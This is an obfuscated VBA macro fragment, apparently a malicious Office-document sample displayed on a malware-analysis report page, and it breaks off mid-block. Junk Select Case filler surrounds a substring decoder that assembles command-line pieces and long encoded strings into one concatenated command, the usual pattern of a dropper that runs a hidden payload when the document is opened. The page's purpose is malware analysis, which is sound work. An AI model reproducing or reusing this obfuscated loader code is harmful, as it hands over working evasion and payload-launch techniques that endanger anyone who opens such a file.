iqmpWo = ZmPrm("wfzBAOAcDA3AQMAEDAjBQZAIDAwAgZAEDAkBAZAADA3AQOAMDAhBQMAEGAzAAZAMDA5AwMAIGA0AQZAADAzAwNAQDAmBQNAQDA5AQMAUDAjBAZAUGA0AgMAQDAiBwMAIDA5AQOAMDA1AgZAQDAmBgMAcDAzAANAMDA3O.pKmt", 7 + 0, 160 + 0)
Select Case chRMnj
Case 18155
RpGwno = ChrB(OiBkGl)
twaMIw = zwPHU
Case 58771
LRqMR = Rnd(zPfzI)
WMNDW = Cos(OmoUl)
End Select
Select Case Ndwti
Case 4137
ENzFmY = ChrB(DQMuip)
dtzvT = PzKjHa
Case 73068
HqjCt = Rnd(wzUXZ)
EfTWS = Cos(oQkjz)
End Select
WpYbJjhjTiJ = ZmPrm("TVToQYAIDAzAQZAMDAlBwNAkDAwAAZAQDAzAwYAcDAxAgYAQGA4AwNAQDAiBAMAYGAkBQNAgDAlBQNAQGA4AQOAIDAiBQOAEDAxAwMAEGAmBAZAUGA0AQYAMGA3AgMAQDA0AAMAMDAlBgNAcDA0AAOAMGAwAwMAkDA4AAZAYGAlBQZAEGAFj", 3 + 0, 174 + 0)
Select Case OFiHCO
Case 96708
mhvaf = ChrB(lkGiZc)
Lsjdo = hlVaX
Case 87728
nnaqwG = Rnd(NVXkt)
aoDKFK = Cos(bDMui)
End Select
Select Case kFnXE
Case 40523
pPwVG = ChrB(VkjTRC)
tzdBFD = VNsYh
Case 46054
dlIWLl = Rnd(CqpoB)
zlvjh = Cos(Jcmbl)
End Select
NslwmTXB = ZmPrm("%wi@o29AAMAYDAzAQOAkDAhBQMAADAyAQOAUGAkBAZAIGAlBQZAMGAlBgMAMDA1AQYAUGA0AAZAQDAkBQOAUDA4AgNAQGAhBAOAMGAlBQNAIDA2AQZAUDAyAQMAEGAkBAZAYGAyAwMAkDA5AAOAUDAyAgYAIGA5AAAT", 3 + 0, 154 + 0)
Select Case AUfcX
Case 47418
isrwbw = ChrB(ROqHn)
DCBkR = qbOTq
Case 19711
DKRqa = Rnd(RATJH)
Tnbpul = Cos(nYOwSv)
End Select
oLnClRtNPjQ = iTKqCOHa + PiMTYBoF + DTmlSwRk + """" + wAYQoWMktuwwV + WisfoBPv + jOPRZwKD + SmfDqhzM + oiFbrXrbujR + aVClsUpOm + CGqbja + iYQaYFAroj + spfNcuD + GwwfzY + KMorOiL + HsMrFWhV + rQifHtNa + NslwmTXB + iqmpWo + QNiTIVPhkXI + YEiuAh + NqpDjOG + wEbwrE + cZRwAAM + Milti + sIYmHj + fuQkmBDpwJ + irWHWma + FPAIvDfuvvI + BrDAUTpN + jGGwphZoX + znJrX + WpYbJjhjTiJ + oTuXuJ + WFPTbNSZYNG + SCqmbYlKu + ERcwmfG + AdsUvCwDE + zkrYWWDwi + kPNnz + RKGDFT + vJVzlsT + ERdczi + JOifvhcst + uavkP + KsGbj + oqoPhWU + zzEijoIjL
Select Case lUhLW
Case 96544
LwuQDi = ChrB(zkGzOu)
oVVrRL = FXwLtT
Case 51926
rpSGDk = Rnd(izknY)
IoAjaj = Cos(wLTFmK)
End Select
End Function
Attribute VB_Name = "dajuaYLlPXUbk"
Function DTmlSwRk()
On Error Resume Next
Select Case lplvuF
Case 50485
JNjjv = ChrB(BAstk)
nqnIS = vuYwP
Case 29385
zBhKi = Rnd(RbVIiw)
CtwTQD = Cos(lFvCd)
End Select
GwwfzY = ZmPrm("DRN6P&MiJIANfBGJ=%GihnrK", 2 + 0, 18 + 0)
Select Case iKjkKw
Case 39415
zGUqK = ChrB(TvRhE)
fNBvF = LMYsGi
Case 63209
zHulw = Rnd(iREmdc)
lkpoN = Cos(TzQIki)
End Select
Select Case EvuOE
Case 46319
YFqEU = ChrB(pGzdfV)
iKzkQ = fpwQp
Case 86440
EcSHuD = Rnd(YOIAU)
lToMAz = Cos(UdtzKw)
End Select
AdsUvCwDE = ZmPrm("AH35uIn54a&&r^e=%ihhv3n3izF", 7 + 0, 12 + 0)
Select Case sjaoAL
Case 86678
Nnqjbw = ChrB(QBzQWT)
BmQsF = biUzv
Case 8828
poTzIA = Rnd(GAWQV)
oNrAub = Cos(jinYIG)
End Select
Select Case nUcjQ
Case 31632
IaZcV = ChrB(KtIoi)
KALMJW = hzCwOk
Case 7165
EAPGi = Rnd(EppLz)
BuPGp = Cos(zLXcHS)
End Select
CGqbja = ZmPrm("G2cNnGtJw", 2 + 0, 3 + 0)
Select Case TiSFi
Case 21261
RrGssh = ChrB(NGKVBK)
vnhwG = kspbsw
Case 93288
qmkKA = Rnd(AKnWN)
llFNG = Cos(IGYuk)
End Select
Select Case bcqoP
Case 48442
kBoZhj = ChrB(CAczLa)
ojzJKd = nSpXV
Case 4199
KElLBB = Rnd(lkkfY)
taqzM = Cos(Lmsri)
End Select
aVClsUpOm = ZmPrm("08%NtRlCnLo% te5uIn54a&&,8j", 4 + 0, 15 + 0)
Select Case vlwiz
Case 4559
jLrwq = ChrB(KYUDzP)
mWLNcp = MroSN
Case 13539
GPaCl = Rnd(TrvBdz)
Bkqit = Cos(zSYajG)
End Select
Select Case NCLCDY
Case 85645
RPkYqT = ChrB(HwMHaw)
haFudt = ziviL
Case 28816
XUlsIG = Rnd(imwMk)
krjuHs = Cos(UkwJuw)
End Select
kPNnz = ZmPrm("3TGilo5uIn54a&t2", 3 + 0, 2 + 0)
Select Case SlppiE
Case 41350
iaPSpb = ChrB(oJhsF)
IzAbT = HnXczJ
Case 33449
tzGijT = Rnd(MGfoC)
RvmcB = Cos(XKnoOK)
End Select
Select Case pjHFn
Case 41478
mCWGJn = ChrB(KqPdl)
CkJsoz = FYWCr
Case 49976
ZMLWGI = Rnd(RTbOir)
sqwzMA = Cos(FaPQn)
End Select
iYQaYFAroj = ZmPrm("%8oYhFt5Yo.i", 6 + 0, 4 + 0)
Select Case bNfUO
Case 67975
uwitXd = ChrB(kQhdGI)
MhaFfZ = UlwFTE
Case 29740
oHzzA = Rnd(uMCZjL)
oslKf = Cos(OjEOj)
End Select
Select Case JlcZS
Case 52184
sQbEM = ChrB(KdsJN)
EVGbM = UkukMU
Case 23202
YZBTN = Rnd(rVBzIU)
pXjZAf = Cos(nnDJP)
End Select
vJVzlsT = ZmPrm("LOm098XezT", 3 + 0, 1 + 0)
Select Case wqHIEG
Case 85012
ikbYwl = ChrB(jUHTr)
iNLKLp = fkWsEU
Case 57622
OtuBc = Rnd(LmHBE)
wDTwpY = Cos(Ucwzs)
End Select
Select Case iIQsYq
Case 62647
iHXZG = ChrB(MSFqj)
rKoffM = nWrCz
Case 23898
GOssC = Rnd(zTnqZi)
uWUhI = Cos(okUTk)
End Select
irWHWma = ZmPrm("VooTRAhhvC,z", 3 + 0, 4 + 0)
Select Case MRtwm
Case 8719
MtJwa = ChrB(olsXX)
GBniQC = tjYbm
Case 89002
fqjGU = Rnd(mBRjk)
tUUjv = Cos(zViLY)
End Select
Select Case YhCCXT
Case 7883
NErzC = ChrB(jjqSRM)
olXqQA = baiTZL
Case 22128
liUrw = Rnd(SkWjI)
vQtcq = Cos(CkvfLH)
End Select
KMorOiL = ZmPrm("n5uIn54anPNtRlCnLoj7zR8", 6 + 0, 9 + 0)
Select Case YmnaY
Case 50117
ibwHzZ = ChrB(JVBAK)
mkKjB = uIbMFW
Case 24734
aiiKw = Rnd(RjTSl)
QRtOuf = Cos(zjocG)
End Select
Select Case wzwpOw
Case 49025
SNVMj = ChrB(WQiGI)
WJcwDz = RDuLSQ
Case 49081
FWFiVq = Rnd(powGW)
IpBGJ = Cos(GmVwl)
End Select
fuQkmBDpwJ = ZmPrm("Y6tP5zQ5uIn54aq", 6 + 0, 1 + 0)
Select Case QIAXC
Case 5961
JmQtZX = ChrB(uCUozz)
HJNsEI = SwkYT
Case 33950
iTRlv = Rnd(Mmrwc)
WPEShw = Cos(pIwmiz)
End Select
Select Case rznsRX
Case 60151
CHCLXM = ChrB(Rtrjjw)
CZTwR = djSZiV
Case 70316
NjqGP = Rnd(bibqsB)
EAiaK = Cos(ruNZSF)
End Select
WFPTbNSZYNG = ZmPrm("4MwQotP% te5uIn54a&&eh=%wRZQjoLL", 4 + 0, 17 + 0)
Select Case DVpchB
Case 53069
EJAaQG = ChrB(YwdGP)
ZfnzUb = QzKYAc
Case 77704
pzJqa = Rnd(AriAto)
WPvMp = Cos(iqBcM)
End Select
Select Case dvHYWR
Case 54512
SmQKi = ChrB(MvsLc)
kZImMq = uroEw
Case 3483
bHkFOV = Rnd(RCzzEk)
rzjLX = Cos(PDmVM)
End Select
QNiTIVPhkXI = ZmPrm("iq d!%wpiPNiBXPhF%!=%7T", 4 + 0, 16 + 0)
Select Case DiPihU
Case 17006
cFLnwH = ChrB(SXKmI)
KCrEt = nfXUP
Case 87289
SwBYQf = Rnd(BamnwO)
Izjci = Cos(btfXZ)
End Select
Select Case fCJKEw
Case 68811
AJhRw = ChrB(dHIbzt)
ItjOG = SvBIK
Case 63755
KSEiL = Rnd(XAqdS)
XCcGG = Cos(IjXWId)
End Select
NqpDjOG = ZmPrm("pNFe5uIn54a&&G%i", 4 + 0, 4 + 0)
Select Case wtRTzB
Case 44589
uZKDZP = ChrB(WKRQON)
CqpuWC = joKbnN
Case 23423
jrbvR = Rnd(cRChVQ)
MFrOi = Cos(rbiEi)
End Select
Select Case GLSjzp
Case 73346
QPRpD = ChrB(LvSqiU)
lKNRaJ = rJDXP
Case 65310
fYzkMH = Rnd(QAQNHK)
sZBlY = Cos(VBFPYj)
End Select
jGGwphZoX = ZmPrm("kTNui5uIn54aZTKTN", 7 + 0, 2 + 0)
Select Case MGMtZV
Case 60667
WVGSMp = ChrB(KzDSw)
wjBmrm = iTiLfc
Case 72773
oWomf = Rnd(WEvSLG)
rIMFh = Cos(OWKHii)
End Select
Select Case EbkQiY
Case 61229
FlwZcE = ChrB(wUczM)
fXTdVo = WMddzz
Case 96003
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.